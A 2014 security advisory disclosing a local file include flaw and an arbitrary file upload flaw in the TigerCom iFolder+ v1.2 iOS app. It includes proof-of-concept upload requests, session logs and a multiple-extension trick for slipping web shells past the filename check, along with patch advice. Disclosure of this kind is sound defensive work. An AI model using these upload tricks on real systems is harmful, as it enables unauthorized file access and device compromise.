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Document Title:
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===============
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TigerCom iFolder+ v1.2 iOS - Multiple Vulnerabilities
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References (Source):
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====================
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http://www.vulnerability-lab.com/get_content.php?id=1284
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Release Date:
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=============
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2014-07-30
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Vulnerability Laboratory ID (VL-ID):
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====================================
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1284
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Common Vulnerability Scoring System:
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====================================
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7.4
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Product & Service Introduction:
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===============================
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iFolder+, Belong to yourself is a mobile application coded by TigerCom. The application allows to communicate
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and share information or files in the wifi network. The app is uncommercial and can be downloaded through the
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apple itunes shop or app-store.
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- Safty
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- Intelligent encryption, protect the folder
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- No Internet connection to prevent the documents stolen
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- Password protected, locked the document
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- Wireless transmission
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- Using Wifi, you can share files between iphone, ipad and computer
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- Current open folder sharing, better protect your privacy
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- Private photos/videos/documents
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- Import photos and videos from album
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- Export photos and videos to your album
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- Open camera, store photos and recording video
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- Photos and videos preview
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- Photos and video high fidelity storage
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- Photo browsing, support for gestures to zoom
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- video playing, perfect playback experience
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- Support PDF, TXT documents directly browsing
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- Photo folder, Video folder, Documents folder, easily classified
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- Support Wifi Import and Export
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- Private accounts/contacts
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- Account protection, add a variety of accounts
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( Copy of the Homepage: https://itunes.apple.com/de/app/ifolder+/id622423906 )
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Abstract Advisory Information:
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==============================
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The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official TigerCom iFolder+ v1.2 iOS mobile application.
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Vulnerability Disclosure Timeline:
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==================================
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2014-07-30: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Affected Product(s):
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====================
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TigerCom
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Product: iFolder+ - iOS Mobile Web Application 1.2
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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High
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Technical Details & Description:
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================================
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1.1
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A local file include web vulnerability has been discovered in the official TigerCom iFolder+ v1.2 iOS mobile web-application.
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The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific
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path commands to compromise the mobile web-application.
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The web vulnerability is located in the `filename` value of the `uploadfile` module. Remote attackers are able to inject own files
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with malicious `filename` values in the `uploadfile` POST method request to compromise the mobile web-application. The local file/path
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include execution occcurs in the index `folder list` context next to the vulnerable filename value. The attacker is able to inject the
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local file request by usage of the available `wifi interface` for file or folder exchange/share.
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Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute
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different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to
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inject is POST.
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The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count
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of 7.3. Exploitation of the local file include web vulnerability requires no privileged web-application user account or user interaction.
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Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise.
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Request Method(s):
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[+] [POST]
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Vulnerable Service(s):
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[+] iFolder+ v1.2
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Vulnerable Module(s):
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[+] uploadfile
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Vulnerable Parameter(s):
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[+] filename
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Affected Module(s):
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[+] Index Folder Dir Listing (http://localhost:8080/)
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1.2
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An arbitrary file upload web vulnerability has been discovered in the official TigerCom iFolder+ v1.2 iOS mobile web-application.
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The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the web-server or system validation.
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The vulnerability is located in the `uploadfile` module. Remote attackers are able to upload a php or js web-shells by renaming the file with
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multiple extensions to bypass the file restriction mechanism. The attacker uploads for example a web-shell with the following name and extension
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`image.jpg.gif.js.php.jpg`. After the upload the attacker needs to open the file in the web application. He deletes the .jpg & . gif file
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extension and can access the application file with elevated access rights.
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The security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.4.
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Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password.
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Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.
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Request Method(s):
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[+] [POST]
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Vulnerable Module(s):
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[+] uploadfile
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Vulnerable Parameter(s):
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[+] filename (multiple extensions)
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Affected Module(s):
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[+] Index Folder Dir Listing (http://localhost:8080/)
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Proof of Concept (PoC):
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=======================
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1.1
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The local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
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For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
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PoC: Index File Dir Listing (http://localhost:8080)
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<a href="/<./[LOCAL FILE INCLUDE VULNERABILITY!].png" target="_blank"> <./[LOCAL FILE INCLUDE VULNERABILITY!].png
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</a></td></tr></table></div></body>
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</html></iframe></a>
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--- PoC Session Logs [POST] ---
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Status: 200[OK]
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POST http://localhost:8080/uploadfile Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[-1] Mime Type[application/x-unknown-content-type]
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Request Header:
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Host[localhost:8080]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de,en-US;q=0.7,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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Referer[http://localhost:8080/]
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Connection[keep-alive]
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POST-Daten:
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POST_DATA[-----------------------------165081174024576
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Content-Disposition: form-data; name="upload1"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!].*"
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Content-Type: image/png
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Status: 200[OK]
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GET http://localhost:8080/./[LOCAL FILE INCLUDE VULNERABILITY!].* Load Flags[LOAD_DOCUMENT_URI ] Gr<47><72>e des Inhalts[0] Mime Type[application/x-unknown-content-type]
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Request Header:
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Host[localhost:8080]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de,en-US;q=0.7,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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Referer[http://localhost:8080/uploadfile]
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Connection[keep-alive]
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Response Header:
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Accept-Ranges[bytes]
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Content-Length[0]
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Date[Tue, 29 Jul 2014 14:32:09 GMT]
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Reference(s):
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http://localhost:8080/
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http://localhost:8080/uploadfile
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1.2
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The arbitrary file upload web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
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For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
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Standard Link to View and Download:
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http://localhost:8080/[x].png
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PoC: 200[OK] GET
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http://localhost:8080/[ARBITRARY FILE UPLOAD VULNERABILITY!].png.jpg.php.js.html
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http://localhost:8080/[ARBITRARY FILE UPLOAD VULNERABILITY!].png.jpg.php
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--- PoC Session Logs [POST] ---
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Status: 200[OK]
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POST http://localhost:8080/uploadfile Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[-1] Mime Type[application/x-unknown-content-type]
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Request Header:
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Host[localhost:8080]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de,en-US;q=0.7,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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Referer[http://localhost:8080/]
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Connection[keep-alive]
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POST-Daten:
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POST_DATA[-----------------------------253371365330237
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Content-Disposition: form-data; name="upload1"; filename="[ARBITRARY FILE UPLOAD VULNERABILITY!].png.jpg.php.js.html.jpg.png"
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Content-Type: image/png
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Status: 200[OK]
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GET http://localhost:8080/[ARBITRARY FILE UPLOAD VULNERABILITY!].png.jpg.php.js.html.jpg.png Load Flags[LOAD_DOCUMENT_URI ] Gr<47><72>e des Inhalts[0] Mime Type[application/x-unknown-content-type]
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Request Header:
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Host[localhost:8080]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de,en-US;q=0.7,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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Referer[http://localhost:8080/uploadfile]
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Connection[keep-alive]
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Response Header:
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Accept-Ranges[bytes]
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Content-Length[0]
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Reference(s):
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http://localhost:8080/
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http://localhost:8080/uploadfile
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Solution - Fix & Patch:
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=======================
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1.1
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The file inlcude vulnerability can be patched by a secure parse and encode of the filename value in the upload file POSt method request.
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1.2
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The arbitrary file upload issue can be fixed by a secure restriction and filter procedure in the filename type validation mechanism.
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Restrict the input and check for extentions to prevent arbitrary file upload with further exploitation.
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Security Risk:
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==============
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1.1
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The security risk of the local file include web vulnerability is estimated as high.
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1.2
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The security risk of the arbitrary file upload web vulnerability is estimated as critical.
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Credits & Authors:
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==================
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Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
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expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
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are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
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if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
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of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
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any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
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Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
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Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
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Copyright <20> 2014 | Vulnerability Laboratory [Evolution Security]
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--
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VULNERABILITY LABORATORY RESEARCH TEAM
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DOMAIN: www.vulnerability-lab.com
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CONTACT: research@vulnerability-lab.com |